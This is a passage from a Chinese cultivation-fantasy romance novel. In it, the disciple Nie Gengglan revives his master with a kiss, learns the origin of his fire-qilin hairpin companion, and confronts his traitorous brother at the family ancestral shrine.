今日不是还同洪渊道祖争得面红耳赤很不愉快么? …… 这几日,聂更阑接待了很多拨客人,常年冷清的玉髓峰被踏足的次数比过去一千年还要多。 元千修会带着青炎真君和药宗的寒梧真君隔三差五来一趟,查看清鸿剑尊身体状况如何。 青炎真君、寒梧真君给的说法一样,影幽魔气祛除,黑雾漩涡退散,按理来说清鸿剑尊的衰败之象应当开始有回春之兆,可过去这么多日却毫无反应。 白瞳,白发,魔纹,尚在。 而聂更阑的白发在漩涡从流月大陆褪尽时已然恢复黑色。 青炎真君和寒梧真君百思不得其解,甚至邀请了欧阳宗主以及药宗一些资历深厚的真君上门诊治,依旧不得解法。 这日,聂更阑伏在玉榻边守着清鸿剑尊,手握着他魔纹遍布的手。 这段时日,灵丹妙药,阵法,药浴,皆试过不少,总不见效,聂更阑为此心力交瘁,眼下乌青堆积,整个人也瘦了一圈。 殿内香炉袅袅升起,天音骨香弥漫四周。墙角紫色的风萝花一簇簇紧密缠绕,枝叶繁茂,累累垂落。 玉榻上躺着的人却依旧苍苍枯朽,不见醒转迹象。 聂更阑与榻上之人一般,睡着了。 风吹起一地繁花,树下秋千摇荡,笑声隐隐传来。 “再高些。” “师尊,我不怕摔,再用力些。” 清鸿剑尊:“倘若再用力,你便要飞起来了。” “那就飞。” 青年话音落下,遂感到秋千摇动的幅度加快了。 于是身体越飞越高,仿佛要直冲云霄。 他没用灵力护身,任凭自己随着巨大的冲力飞了起来。 “师尊……” 下一瞬,清鸿剑尊被青年重重扑入怀中,“接住了。” “师尊,我害怕。” 清鸿剑尊:“……” 最近聂更阑喜欢玩这样的戏码,清鸿剑尊欣然奉陪。 只是青年每次装得都不像,反倒像路边调戏良家男的痞子,扑进怀里之后还用脑袋到处蹭借机“吃豆腐”,清鸿剑尊被他蹭得屡次三番“精神昂然”,最后被迫把人吃干抹净。 末了,青年还要照着戏本里的剧情用“幽怨”的语气和眼神瞪着清鸿剑尊。 “师尊,疼。” …… 梦境切换,两道身影漫步在乡野田间,很快遇到了一大片果园。 聂更阑兴致颇高,指着果园里延伸而出的枝桠,道:“师尊,我渴了,师尊敢不敢偷一个果子给我?” 清鸿剑尊似是无奈:“为何用偷的?” “师尊便说敢不敢吧?” 说完这句,聂更阑便见清鸿剑尊缓缓俯身低头而来,两人面容近在咫尺,呼吸相贴。 “阑儿敢指使为师偷果子,胆子越来越大了……” …… 玉榻旁,聂更阑指尖动了动,蓦地从梦中惊醒。 他茫然望向玉榻,熟悉的身影依旧在沉睡。 殿内天音骨冷香钻入鼻间,清冽如常。 方才的梦境过于美好,竟使他愿意一直沉溺其中不愿醒来。 他怔怔地将视线落在师尊冷冽的轮廓间,一遍遍描摹,循环往复。 蓦地,他鬓发间的簪子似乎动了动。 聂更阑被这阵动静惊得回神,指尖一动,下一刻抬手将那支火麒麟簪子拔了下来。 簪子里的火麒麟正摇摆着尾巴游动,一双豆豆眼睁圆着盯着正在注视自己的青年。 “聂更阑,聂更阑。” 聂更阑已经许久没同火麒麟说过话,它大部分时间都在沉睡,很是安逸悠闲。 一路走来,它确实给自己提供过无数好运与机缘,每每聂更阑都能逢凶化吉,化险为夷。 “聂更阑,你发什么呆?” 火麒麟的呼唤再次唤回青年的神思。 聂更阑道:“何事?” 火麒麟清了清嗓子,“我看你终日以泪洗面,憔悴不堪,便教你一个法子唤醒剑尊,如何?” 聂更阑:“……” 他有终日以泪洗面么? “你还在想什么,我告诉你这个法子,剑尊就能醒过来了,你要不要啊?”火麒麟催促道。 聂更阑眸子沉沉:“你说。” 火麒麟清了清嗓子,“可以告诉你,但是有一个条件。” 聂更阑:“。” “什么条件?” 火麒麟被他布满乌青的眼底以及面无表情的目光震慑了几息,噎了噎,颇有些没底气地小声道:“就是,就是,届时你与剑尊飞升,能不能让我沾沾光,把我作为灵宠带上九重天?” 聂更阑默了默,干巴巴道:“师尊暂时没有飞升的打算。” 火麒麟急忙道:“我知道,不过待到剑尊痊愈,你修为也到渡劫期时,你们总有一日要飞升的吧?到那时带我上去就可以了!” 聂更阑目光越发阴沉:“你真有办法让师尊苏醒?” “你不相信我?”火麒麟臭屁地甩了甩尾巴,拖长声音道,“那就算了,你继续以泪洗面吧,哭死你算了——” 聂更阑心中微动,沉声道:“好。” “我答应你。” 火麒麟顿时喜笑颜开,“你去亲一亲剑尊,此法包治百病,甚有疗效。” “……” 聂更阑:“你消遣我?” 火麒麟气得猛甩尾巴,把簪子里的灵水甩得噼啪作响。 “你爱信不信,本麒麟不伺候了!” 话没说完,聂更阑尽管心有踌躇,但已经下意识站起身弯腰朝沉睡的师尊亲了下去。 干燥的唇贴在冰凉的唇间,很软。 聂更阑下巴满是胡茬,但会为师尊每日清洗打理身体,师尊浑身干干净净,清清爽爽,也很香。 于是,他不由自由多亲了一会儿。 一旦肌肤触碰,便如同魔怔一般,鼻尖轻轻擦过面颊,下巴抵着下颌。 亲着亲着,一滴泪滑落打在清鸿剑尊眼皮上。 聂更阑眼底伤痛浓厚,舌尖舔走那滴泪珠,随后重新吻上师尊冰凉柔软的唇。 蓦地,那唇忽然微微睁开,令他舌尖猝然探入。 聂更阑骤然睁圆瞳孔,不敢置信地退了出来,双手撑在玉榻边缘,抬起上半身。 喑哑的声音低低传来:“胡茬扎着为师了。” 聂更阑呼吸一滞,双瞳比方才睁得大了一圈。 “师尊?” 清鸿剑尊闷咳了一声。 那双白瞳睁开时,瞳孔颜色正由白转为黑,一头白发也在以飞快的速度恢复原本颜色。遍布肌肤的魔纹也瞬时褪尽,消失得无影无踪。 聂更阑惊奇地望向手里握着的火麒麟发簪。 后者得意地甩了甩尾巴,还没来得及说几句邀功的话,簪子已经被聂更阑扬手一扔。 唰。 簪子电光火石飞向墙角的风萝花,插在花泥间。 火麒麟弱弱地:“喂……” 聂更阑心中激动难以自持,根本无法思考太多,想也不想俯身而下狠狠重新吻住师尊的唇。 亲了一口,复又抬头,惊喜欲狂,“师尊。” 旋即又重重亲了上去。 清鸿剑尊被压得又是一声闷咳,聂更阑听得心疼,从他唇中退了出去。 唇才要离开冰凉的唇,瞬时一个天旋地转,清鸿剑尊翻身将其压在身下,两人衣袍拖曳于玉榻间,交缠延绵。 聂更阑心口漫出一丝心疼,双手撑着清鸿剑尊的胸膛,“师尊才醒,身子怕是虚——” 弱字尚未出口,唇已然被吻住。 聂更阑上颚被扫荡而过时,原本想动弹的心思荡然无存,手脚力气渐渐失去。 再也无暇顾及师尊是否身体虚弱有没有力气了。 只是亲了一阵,聂更阑蓦地记起什么,顿时将头偏过一旁。 清鸿剑尊湿润的唇顺势落在他脸侧旁,擦过他耳根处。 聂更阑别过头,惭愧地以手抵住师尊胸口,“徒儿多日未梳洗……” 清鸿剑尊低低笑道:“你怎么样都好,我不嫌弃。” “师尊方才还说被胡茬扎着了。” “嗯,难得见到你这副模样,索性多扎一阵。” 聂更阑:“……” “嗯?” 沉丽的眼眸才闪过困惑,唇瓣再次被含吮碾磨而过。 舌尖勾缠流连时,聂更阑心神逐渐放松,任凭自己一点一点沉沦追逐在无尽的欢愉中。 *** 清鸿剑尊在距离聂云斟周炎公审还有五日时终于苏醒,修真界上下普天同庆。 聂更阑接连两日从榻上腰酸背疼醒来时,忽然接到了聂云斟想见他一面的消息。 通传弟子道:“那个叛徒痛哭流涕,说聂长老您毕竟是他的弟弟,求长老看在兄弟情分上,他想回一趟聂家庄看看,祭拜沈夫人亡魂,算是尽最后一点孝心。” 北溟朔实在没忍住,脾气暴起恨不得冲到囚仙狱当场把聂云斟神魂烧个一干二净。 “他这明显就是仗着兄弟情想博得你心软放他一马,你可别被这种人骗了!” 聂更阑让通传弟子离开,转头看向清鸿剑尊,“师尊。” “我恰好想回一趟聂家庄。” 沈端枫的魂魄在罗刹金莲中温养已有一段时日,聂云斟确实应该好好向其亡魂磕头,忏悔赔罪。 无论是真心或是假意。 …… 当日,聂更阑偕同清鸿剑尊出发前往黑林山囚仙狱。 到了地方,聂云斟想见他。 可惜聂更阑根本没有这个打算。 囚仙狱因着聂更阑和清鸿剑尊大驾亲临,立即通融,把人交到他们手里。 于是,聂云斟并未见到弟弟,直接被扔进以八十一重阵法困住的灵囚车,放上灵舟。 灵舟一路疾驰,三四个时辰已然到了西南地域的聂家庄。 王管家听说少爷带着清鸿剑尊回来了,早早带着山庄上下所有家仆恭恭敬敬候在广场前。 灵舟降落时,两道身影出现在灵舟前。 所有家仆都悄然抬头看向一双璧人,顿时惊为天人。 此前被黑雾漩涡追赶时,他们被密密麻麻的人群隔绝在远处,并未见过清鸿剑尊真容。 此刻见到本尊,只觉得眼前一亮,师徒二人站在一处如画如仙境玉树琼枝,如缥缈雾霭,只看一眼便不舍移开目光。 众人看得一时恍惚,遽然被灵囚车沉重降落地面的声音惊醒。 “砰。” 定睛一看,这不正是之前过去十几年他们尊为大少爷的聂云斟么? 所有人早已准备好各式灵植,带火的,有奇怪绿色黏液的,臭味冲天的,以及什么腐肉,灵虫卵蛋等等,通通在看到聂云斟的那一刻砸向灵车。 “叛徒!” “大逆不道!” “恬不知耻!” “聂家庄怎么会出了你这么一个声名恶臭的无耻之徒!” “竟勾结魔族蓄意陷害我们少爷!还害得夫人也无辜受牵连陨落!” “该死的混账!怎么不立刻死了算了!” 众人怒气直冲云霄,直骂得声嘶力竭震动山林。 灵囚车里的聂云斟形容狼狈,长发披散,浑身脏污沾满臭烘烘的黏液、虫卵,衣服也被火苗点燃,能使他浑身被钻心剜骨的疼痛包裹却不至于烧死。 很快,他身上出现数道细细密密的伤口,只是折磨般地产生铺天盖地的痛楚,但又不致命。 他的命只能留待至囚仙狱公审后进行处决。 聂更阑与清鸿剑尊并肩而立,不远不近看着这一幕。 聂云斟透过灵囚车的缝隙和聂更阑对上视线,目光饱含无尽的恨意,很快又恢复至平静如一滩死水。 聂云斟亲眼看着王管家恭敬地走到聂更阑面前,向他请示:“少爷,这叛徒此番回来,少爷打算如何处置?” 聂更阑眉眼沉冷扫向灵囚车,“先押至祠堂,祭奠母亲。” 王管家身体躬得更低了,“确实应该好好祭奠一番夫人,老……” 他似是下意识要说老爷,顿了顿,接着道,“聂重远和聂云斟把夫人害得不浅,若是聂重远尚未陨落,也该押着他到祠堂好好磕头忏悔认罪。” 聂更阑沉声道:“走吧。” 他没再看灵囚车一眼。 聂云斟目光怨冷,眼睁睁看着青年身影被清鸿剑尊和王管家一前一后跟着,一众仆从前呼后拥着他们进入聂家庄高大的门庭。 灵囚车也随之被仆从鞭子赶着移动,粗鲁地向前推去。 一众人拥着聂更阑来到祠堂外。 关于祭拜事宜,王管家在他们到来之前已经布置好一切。 聂更阑先带着清鸿剑尊前往院子某处厢房,隆重地沐浴焚香、更衣。 祭拜定在午时,沐浴更衣完毕,距离午时还有一个时辰。 聂更阑看着换了一身白衣的清鸿剑尊,打量片刻,什么也没说,打开了房门。 清鸿剑尊跟在徒弟身后,出了厢房,穿过院子,穿过石洞拱门以及满院的芳华灵植草木。 “我带师尊四处走一走。” 尽管他在聂家庄只住了不到两个月,可还是想让师尊看一看他曾经踏足过的地方。 沐浴的院子距离藏书阁最近,他们于是便先去了藏书阁。 聂更阑一点一点将他初到聂家庄时的懵懂,忐忑,无知,事无巨细向最紧密的人倾诉。 “即便徒儿在凡界通晓人与人之间的勾心斗角,可到了这传说中神仙才能待的地方,既敬畏又怕,又因着是家人,因此格外吃了不少委屈和苦头……” 当清鸿剑尊听到青年因为想借一本书而被聂云斟阻挠在藏书阁外、只有望舒老人对他施以善心时,两人恰好走到藏书阁高大的台阶前。 看守藏书阁的望舒老人慌忙来到台阶下向二人行礼,“见过少爷,见过清鸿剑尊!” 聂更阑上前将其扶起,“望舒老伯请起。” 望舒老人抬起布满皱纹的脸,露出祥和的笑,“老朽还有三百年时光看着少爷一点一点亲手重建聂家庄,少爷定会把山庄管理得盛大辉煌,给少爷自己,也给夫人一个永远的家,对么?” 聂更阑一时默然。 对于接手聂家庄一事,他心中一直未有定论。 不过听到望舒老人一番话,居然让他摇摆不定的心逐渐趋于坚定。 望舒老人似是看出他心中所想,笑了笑,“我同少爷和剑尊打过招呼,也该和一位熟人打招呼了。” 聂更阑道:“望舒老伯说的是?” 望舒老人眼尾皱纹略微一舒展,视线落在聂更阑鬓发间的火麒麟簪子。 “劳烦少爷把这支簪子递给老朽。” 聂更阑面上闪过一丝不解,沉吟几息,将簪子拔下递了过去。 簪子里只有火麒麟。 难道它与望舒老伯认识? 思及此,他朝着簪子输入一股灵力,将覆盖于上面的禁制解了。 望舒老人握着华光流转的簪子,神色慈祥道,“焱焱,还不出来见见我?” 霎时间,一道身影化作流光飞了出来,激动万分地扑向望舒老人。 “爷爷!!” 第163章 “爷爷!” “我成功啦——” 小少年扑进望舒老人怀里,骄傲得尾音拖得奇长。 望舒老人眼角的皱纹又舒展了一些,像朵花似的,“焱焱很厉害呀。” 说着,他牵起孙子的手来到师徒二人面前,“焱焱,我们应该给少爷和剑尊嗑三个头。” 焱焱响亮地应了一声:“嗯!” 聂更阑看着爷孙二人准备跪下,上前一步双手欲扶起他们,“望舒老伯,能否告诉我这是怎么一回事?” 望舒老人于是示意孙儿先站好,道:“看我这老糊涂的,不把事情解释清楚少爷如何能安心接受跪拜?” 聂更阑环视四周一圈,道:“老伯,不如到亭子坐下慢慢说。” “是,少爷。” 于是,几人来到藏书阁附近的一座凉亭坐了,聂更阑吩咐家仆端来茶点。 看着昔日一直戴在发间的火麒麟簪子此刻坐在石凳上大吃大喝,聂更阑一时间有些恍惚。 若是放在最初来到修真界那时,他恐怕会吓得一惊一乍半天也缓不过神。 如今时过境迁,他看到一直跟在自己身边的火麒麟忽然变成一个孩子,竟也能从容不迫地把人叫起来好好问话。凭他的直觉,或许有一段故事在等着自己。 聂更阑凝眉道:“望舒老伯,我忽然记起一件往事。” “少爷请说。” “当初我意欲前往瘴雾沼寻火麒麟损毁容貌,是望舒老伯给了我一沓符篆。” 望舒老人再次舒展皱纹,笑了:“少爷记性很好,不错,是老朽给了少爷一沓符篆,说是拍在火麒麟上便可以将其捉住。” 聂更阑语气笃定,“那沓符篆……” “少爷已经不是当初的少爷了,果然立刻找到了问题关键所在。” 望舒老人呵呵笑着,“那沓符篆乃是老朽亲手制成,上面沾有我的气息,可以这么说,若非有这沓符篆,少年当年是不可能捉到焱焱的。” 聂更阑默然。 火麒麟并非他亲手捉到,而是对方主动蹿到他体内,成为他面部的一条疤痕。 “老伯不必这般客气,我们还可以如同当年那般谈心说话。” 望舒老人摸着下巴的白胡子,笑得一脸慈祥:“少爷非但没有怪罪老朽和焱焱别有用心接近少爷,老朽已经很感激了。” 聂更阑:“老伯,这究竟是怎么一回事了么?” 坐在一旁的小少年吞下一大口点心,喝了口灵茶,“其实很简单啦,爷爷当初是被迫和聂家庄签了奴契。” “火麒麟向来能给人带来好运和机缘,当初是聂重远设计打伤爷爷,还要装作他是爷爷的救命恩人。但是爷爷当时不知道,于是和聂家庄签下奴契。” “但是他们不知道,受伤的火麒麟带来的不一定是好事,也有可能是厄运。” “火麒麟家族看不起我这个没麒麟根的废物,爷爷干脆带着我搬离了家族,小时候我每次受欺负爷爷永远是第一个站出来替我出面的,后来我知道他被人设计签了奴契,就一直在想办法如何救爷爷出来。” “直到后来,我在瘴雾沼嗅到了爷爷的气息,就是你,聂更阑。” 焱焱说到这里,被望舒老伯拍了一下脑袋,“不能对少爷无礼。” “哎哟,”焱焱眼泪汪汪捂住脑袋,“知道了爷爷,我叫少爷还不行吗。” “不对呀,我已经和他结了灵契,应该唤他一声主人才对。” 聂更阑并不在意这些虚名称呼,道:“继续说。” 焱焱立即正襟危坐,“我不是嗅到爷爷的气息了吗,一看居然是个陌生的少年,我就想,爷爷绝对不会轻易把自己的符篆交给陌生人,此人应当是信得过的。” “我和爷爷也算是很有默契了,我就果断选择跟着你走了。” 望舒老人道:“当初老朽还以为少爷可以顺利回来,我能和焱焱见一面,没想到一别几乎就是三年。” 说着,他看向清鸿剑尊,稍稍躬了躬身,“剑尊是否也好奇,焱焱跟着少爷的目的是什么?” 聂更阑笑了笑。 清鸿剑尊言简意赅:“飞升。” 焱焱终于把一盘子糕点干掉了,舒畅地拍了拍肚皮,“剑尊真聪明,答对啦!” 望舒老人一拍他脑袋:“不许这么没大没小!” 焱焱吐了吐舌头,赶紧恭敬回话:“是,剑尊说对了。” 聂更阑:“少年心性极为难得,他想怎么说话便怎么说吧。” 望舒老人:“是,少爷。” 焱焱继续道:“我若是能寻得有缘之人跟随,届时一人得道鸡犬升天,我就能把爷爷的奴契赎回来,还能给爷爷很多天材地宝疗伤。” 聂更阑太阳穴突突跳动,沉声问:“老伯的伤堆积多少年了,为何不向聂重远要灵丹药材医治?” 望舒老人叹了一口气:“聂重远想把我永远栓在聂家庄,一张奴契如何能让他放心,我确实每月能到库房领取一定数量灵丹药材,不过都是些最低阶的,他只须吊着我这条老命不死就可以了。” 聂更阑目光瞬时更为阴沉。 没想到聂重远果真从里到外都烂了个透。 当初从凡界上来,他对那个称之为父亲的人抱有无限的敬仰之心,可也随着在一次又一次的失望中消弭殆尽了。 思及此,聂更阑道:“老伯,我别的没有,天材地宝却不少。” 说着,他从储物袋召出一堆灵丹妙药天材地宝放入了一个闲置的储物袋,“这里面每种灵药都涵盖了一些,老伯若是还缺什么尽管找我拿。” 望舒老伯却摇摇头,把储物袋推了回去。 “多谢少爷好意,老朽心领了。” 焱焱急声道:“爷爷,你为什么不要,这是我结了灵契换来的,不要白不要呀!” 望舒老人咳了一声:“焱焱啊,不瞒你和少爷,我这伤拖了两百年,早就累积成重疾,这些好东西给我怕是也不管用了,还是别浪费在我这个老头子身上喽。” 焱焱开始啪嗒啪嗒掉眼泪,“爷爷,你是不是骗我,你的病为什么就治不了了?” 望舒老人又咳了一声,捋起袖子露出一截手臂,“你看爷爷的手臂,密密麻麻都是罗仙鬼纹,这伤能拖到现在已经算是我福大命大了。焱焱啊,若是少爷飞升,你便好好跟着他到九重天,若是不飞升,少爷也能让你过上很好的日子,你就别担心爷爷了。况且我气数已经到头,还有几百年也就该走了,你们可是还有数万年的光景要度过呢。” 焱焱一下子就哭了。 “爷爷,我做这一切都是为了你,你要是走了,我该怎么办……” 望舒把孙儿拉过来,和蔼地拍着他胳膊,“傻孩子,时间一长你也就习惯啦,刚开始失去亲人都会惶惑无助,百年后回头一看,发现不过如此,人还是要向前走啊。” 焱焱哭得更厉害了。 亭子里一时间无人说话,只有少年的啜泣声断断续续传出。 聂更阑站起身,道:“老伯,这个储物袋既然送了你,便是你的。稍后我会再挑一批地宝灵丹交给老伯。” “哎,少爷……” 望舒老人想阻拦,却被孙儿抱着哇哇大哭,只能就这么看着聂更阑与清鸿剑尊起身离开凉亭,往流云小筑方向而去。 走出亭子拐过一道回廊,聂更阑脚步刹住骤然停在原地。 清鸿剑尊抚过他脊背,一下一下顺着。 青年低垂着头,脊背微微弓着,被扶着慢慢往前走去。 等到了流云小筑,进入曾经属于自己的房间,聂更阑才倏然记起,自己也是曾经被母亲照顾过的。 他眼眶不自觉沾上一点水光。 那是他被罚跪在祠堂里的寒冰阵中,母亲来过他屋中照顾了他一夜。 只是那时他朦朦胧胧以为是在做梦,加之过于疲累,始终没能睁开眼进行确认。 聂更阑眉眼沉沉,有些心神不宁。 母亲那时应当早已开始修清心道,却过来流云小筑照顾了他一夜。 那时母亲应当就受到了所修之道的反噬。 后来,瘴雾沼寻火麒麟那次见面,以及灵音宗母亲前来探望那次,母亲接二连三受伤,身体如同被蛀空的树干,内里早已经千疮百。 他不是没得到过爱,只是当时身处迷雾中,一切都事与愿违罢了。 他虽没有焱焱幸福,但起码层爱在自己身边围绕过。 而且,他如今还有师尊…… 聂更阑下意识侧头看向身旁的人。 他不受控制般微微张开双臂,上前一步环住师尊的腰,把脸贴在他脖颈处。 清鸿剑尊抱紧他,手抚过他后脑,扣紧了,“想起了伤心事?” 问题问出,他并未得到回答。 被抱紧的人把头埋得更深,似乎不愿抬起。 不多时,清鸿剑尊察觉颈间传来一阵冰凉湿意。 怔了怔,欲掰过青年的脑袋看他的脸,但青年使了蛮力,死死扣住他腰身,愣是不肯被他看到哭湿的脸。 清鸿剑尊沉吟,一手抬起青年的臀,以抱着一个婴儿的姿势把人抱在怀里。 聂更阑两脚悬空,下意识抱得更紧,双腿夹在他腰间,泪悄无声息流得越发汹涌了。 …… 师徒二人在流云小筑一直待到祭奠仪式开始。 当赶到祠堂时,一切已经准备就绪,王管家看到师徒二人进入院子,连忙迎了上来。 “少爷,现在是否要把那叛徒押入祠堂?” 聂更阑点头,携清鸿剑尊穿过院子,步入祠堂。 他已经把母亲的灵位运了过来,此刻就摆放在祠堂最中央。 才刚进入祠堂,聂重津,聂重音带着人赶来了。 大老远的,就听到聂重津嚷嚷的声音:“大侄子,你忽然回来祭拜怎么也不说一声,我们也好——” 聂重津说着已经进入祠堂,一眼就看到沈端枫的灵位在祠堂最中央立着。 旁边,还立着聂重山、聂云烟、聂云追的灵位。 “大侄子,”聂重津颇为不满地皱起眉,“我知道大嫂他们很委屈,命苦,但是聂家列祖列宗在前,也不能把他们的灵位这么胡乱摆放,看来聂家庄家主的位置你还不能担当大任。这样吧,横竖你也在灵音宗担任长老一职,不如就把家主的位置让出来,我毕竟有时间能把聂家庄打理得更好。” 王管家闻言正要说话,聂更阑这时道:“三叔,你想当聂家家主,除非你能答应我一件事。” 聂重津听到他肯松口,心中一喜,“大侄子,你要我做什么,三叔肯定事事都依你,大家都是一家人,有什么事好商量嘛。” 聂更阑沉声道:“日后三叔家中有任何亲眷陨落,灵位永远要低于我母亲两个阶位,包括三叔自己的灵位。倘若三叔答应,家主位置我立刻拱手相让。” 聂重音差点没笑出声。一想起这是在祠堂,立即憋住了。 祠堂里寂静一阵。 聂重津已经被气得手脚颤抖,太阳穴青筋直跳,咬牙切齿瞪着面前的青年,“聂更阑,你这大逆不道的——” “三哥!”聂重音悠悠开口,“我早就劝过你不要惹更阑,你老是觊觎他的家主之位做什么?人家已经和清鸿剑尊结了道侣契,再不济还有剑尊帮忙,你哪来的脸插手?” “我看你今日还是好好安心祭拜大嫂吧,别老是惦记不属于自己的东西,否则大侄子一个不高兴把你从聂家庄赶出去,你都没地方哭诉。” 聂重津脸气得煞白,看看聂更阑,又看看自己的四妹,恼羞成怒拔脚要走。 聂重音哎了一声,“三哥,你今日要是不祭拜大嫂二哥他们就走,今后可就不是聂家人,这聂家庄也就容不下你了!” 聂重津脚步硬生生钉在原地,怒容满面瞪着聂重音。 看到这个二哥终于老实了,聂重音笑着看向聂更阑,“对了更阑,聂云斟这叛徒倒是得到了应有的惩罚,不过你还有一双弟弟妹妹,你想好以后如何安置他们了么?” 聂家庄上下如今都已经知晓,聂云锦、聂云飞并非沈端枫的亲生骨肉,而是聂重远和魔头身边的妖姬所生下的孽种。 自从聂云斟、聂重远一个被捕,一个陨落后,这对龙凤胎兄妹在聂家的地位直线下降。 遭受家仆冷言冷语不说,吃穿用度也比之前的档次降到了最低,住的地方更是搬到了小偏院,其实和仆从住的无甚区别。 今日因为要祭拜沈端枫,聂云锦、聂云飞也被仆从带了过来,方才一直畏畏缩缩待在角落不敢出声,生怕一个不高兴惹怒聂更阑被赶出聂家庄。 王管家这时道:“少爷既然已经答应掌管聂家庄,小少爷小小姐之事,少爷怎么处置都没问题,少爷不要有压力。” 这对兄妹毕竟是魔族妖姬的后人,更是修真界叛徒的种,即便是要处死,众人也不会有异议。 而聂云锦、聂云飞听到他们要议论如何处置自己,两人连忙奔到聂更阑面前,一左一右抱住聂更阑大腿, “更阑哥哥,我们一定会乖乖的,求你不要杀了我们!” 两兄妹长高了不少,此时已经到了聂更阑小腹的高度,这会儿两人都哭哭啼啼,面容哀戚,仿佛在哭丧一般,听得聂更阑眉心直皱,头疼异常。 而这时,聂云斟也已经从灵囚车上被押到了祠堂。 龙凤胎一看到他,双双上前从储物袋拿出准备好的碎石子,猛地抡起胳膊往他身上砸。 “臭叛徒,坏人!畜生都不如!” “打死他!” “勾结魔族的叛徒就是该死!他不配做我们的哥哥!” “更阑哥哥才是我们的亲哥哥!他就是路边捡来的野种!” 聂云斟很快被砸得头破血流,血水顺着额头、眼皮不断往下淌。 看着他昔日宠爱的弟弟妹妹对自己恶语相向,毫不留情地下手,聂云斟忽然笑了起来,那笑容带着点瘆人阴森的意味,看得龙凤胎心里直发毛,砸着砸着就躲到了聂更阑后面,害怕地扯住聂更阑的衣角。 “更阑哥哥,这畜生瞪我们,他会不会想杀了我们呀?” 聂更阑垂眸觑着扯自己衣袍的一双弟妹,又看向浑身狼藉的聂云斟。 聂云斟目光阴鸷发狠,眼睛布满血丝如同地域鬼刹,如果不是浑身被阵法困着,恐怕真的早已对这对龙凤胎下手了。 “呵呵。”聂云斟冷笑起来。 随后,疯狂的笑声充斥了整个祠堂。 “哈哈哈哈哈!” 龙凤胎被这粗哑的笑声吓得缩起脖子,越发往聂更阑身后躲,只露出一个脑袋往外偷看。 终于,聂更阑指尖掸了掸,“够了。” 禁言术施下,祠堂内的笑声骤然消失。 聂云斟目光阴鸷瞪了过来。 聂更阑没兴趣多看他一眼,偏过头看向那对龙凤胎。 “聂云飞,聂云锦,娇纵成性,飞扬跋扈,送去——” 兄妹俩一听这开头便大感不妙,当即开始鬼哭狼嚎越发用力扯他的袍角:“更阑哥哥!不要赶我们走!我们听你的话,你要我们做什么便做什么!” 他们这段时间听到了不少风言风语,说是魔族妖姬后人一旦离开聂家庄,非死即伤。最后落得的下场必定凄惨悲凉。 聂更阑眉心皱起,不为所动:“把他们送到——” “我不要!” 尖利的孩童声在祠堂回荡,吵得人直捂住耳朵。 龙凤胎竟是往地上直接一躺开始撒泼打滚,一边发疯一边冲着聂更阑骂:“你这个没良心的混蛋!要不是爹娘把你接回来,你现在还在凡界当小倌呢!我们还只是两个小孩,你竟连小孩也不放过,你和那个歹毒的畜生有什么区别!” 龙凤胎的大骂让众人脸色大变,王管家脸色阴沉快步上前把兄妹二人从地上扯起来,一人扇了一个耳光。 “啪!” 聂云飞、聂云锦不敢相信地瞪着王管家,白嫩的脸蛋瞬间高高肿了起来,“你!你这个恶魔的走狗,你有什么资格——” 聂更阑沉冷的声音传来:“再口出恶言,就真的把你们扔出山庄。” 龙凤胎的哭闹戛然而止,因为不敢哭,还不小心打了一个哭嗝。 聂更阑冷声道:“聂云飞聂云锦,飞扬跋扈,娇纵成性,送到灵音宗药峰青炎真君手下当药僮,五百年内不可离开灵音宗。” 龙凤胎一听又要哭号,被聂更阑施了禁言术,旁边立即有仆从将两人拉到一旁站好,不许其胡乱跑动。 王管家呵斥不断掉眼泪的龙凤胎:“凭你们如今的处境,一旦出了聂家庄定会被有心之人抽筋拔骨泄恨,少爷好心把你们送到灵音宗修行,且也不是什么外门杂役弟子,是真君座下的药僮,你们就偷着乐吧!” 聂更阑抬起手,示意王管家无需再多说。 “少爷,”王管家道,“是不是该祭拜夫人了?” 聂更阑:“嗯。” 一切准备就绪。 先是聂重音、聂重津以及龙凤胎等人上香祭拜,随后,是聂更阑。 清鸿剑尊作为聂更阑的道侣,亦是给沈夫人上了一炷香。 最后,众人纷纷把目光投向被重重阵法困住的聂云斟。 聂重音上前一脚把人踢到沈端枫灵位前跪下。 “聂云斟,大嫂待你不薄,你竟勾结魔族陷害她和更阑。既然大哥已经陨落,你便是最该向嫂子忏悔的人。” 王管家道:“若是不认罪忏悔,今日便是扒一层皮也要让这叛徒开口!” 聂云斟本就浑身是伤,进入祠堂之前被洗刷过,此刻伤口灼烧火辣辣,即便咬牙生忍也没法不扭曲着脸。 他被迫跪在冰冷地砖上,双手被阵法缚于身后,双目森冷,牙关颤抖着开口。 “母、母亲……” “斟儿自知对不起母亲的爱护关怀,今日斟儿来向母亲磕头赔罪了。” 他缓缓弯腰,艰难地把头低至地砖,“咚、咚、咚”重重磕了三个头。 他直其身体,目光沉沉重新看向沈端枫的灵位。 “母亲纵使有再多怨恨,也请原谅斟儿一二。” “父亲视我为聂家庄继承人,若我不与父亲站在同一阵营,家主之位断然不会传给我。” 聂云斟这番话立时引起众人愤怒的斥骂。 家仆们想扔东西,被王管家及时制止了。 这时,聂云斟忽然诡异地笑了笑:“母亲,其实斟儿有个秘密。母亲的一缕魂魄,斟儿知道在何处。” 此话一出,顿时引来巨大的骚动。 在众人愤怒之际,聂云斟开始癫狂大笑笑,转过满是血污的脸看向聂更阑,“弟弟,我知道你很想把母亲的魂魄集齐。你让他们出去,这件事我只能告诉你一个人。” 王管家和聂重音立即道:“不可,当心有诈!” 聂更阑看向清鸿剑尊,“师尊。” 清鸿剑尊:“为师对你很放心。” 聂更阑于是道:“都随着我师尊先出去吧。” 众人一听连清鸿剑尊都发话了,只能鱼贯而出。 聂重音对王管家感叹道:“更阑毕竟已经是炼虚期修为,不再是当初那个人人欺辱的少年了。” 很快,祠堂里除了聂更阑、聂云斟以外,再无旁人。 “嗒、嗒、嗒。” 聂更阑踏着地砖一步步走到聂云斟面前,居高临下冷睨此人。 “我母亲另一缕魂魄在何处?” 聂云斟勾起嘴角,却牵扯了伤口,疼得他目露森意,哑声道:“弟弟,你也许不知道。” “在魔头打算把你掳掠过来当阶下囚时,是我向魔头求情,求他把你给我。这样一来,你到了魔族之后不至于受太多苦。” 聂云斟伤口依旧在流血,他忍着伤痛,咬牙继续道,“我从未想过要你死,弟弟,现在亦是。” “看在我们曾经是兄弟的份上,你能不能放我一条活路?” 聂云斟看到青年露出冷厉之色,不由得膝行上前,阴森的目光转为哀求,“我可以当你的狗,清鸿剑尊是正房,我可以做妾,只要能让我活下来,你要我做什么都可以。” 祠堂内久久没传出动静。 久到聂云斟以为,聂更阑是不是要把他杀了直接扔出聂家庄。 终于,聂更阑慢慢弯下腰,面无表情揪起这个所谓的哥哥的衣襟,声音冷如山巅冰雪。 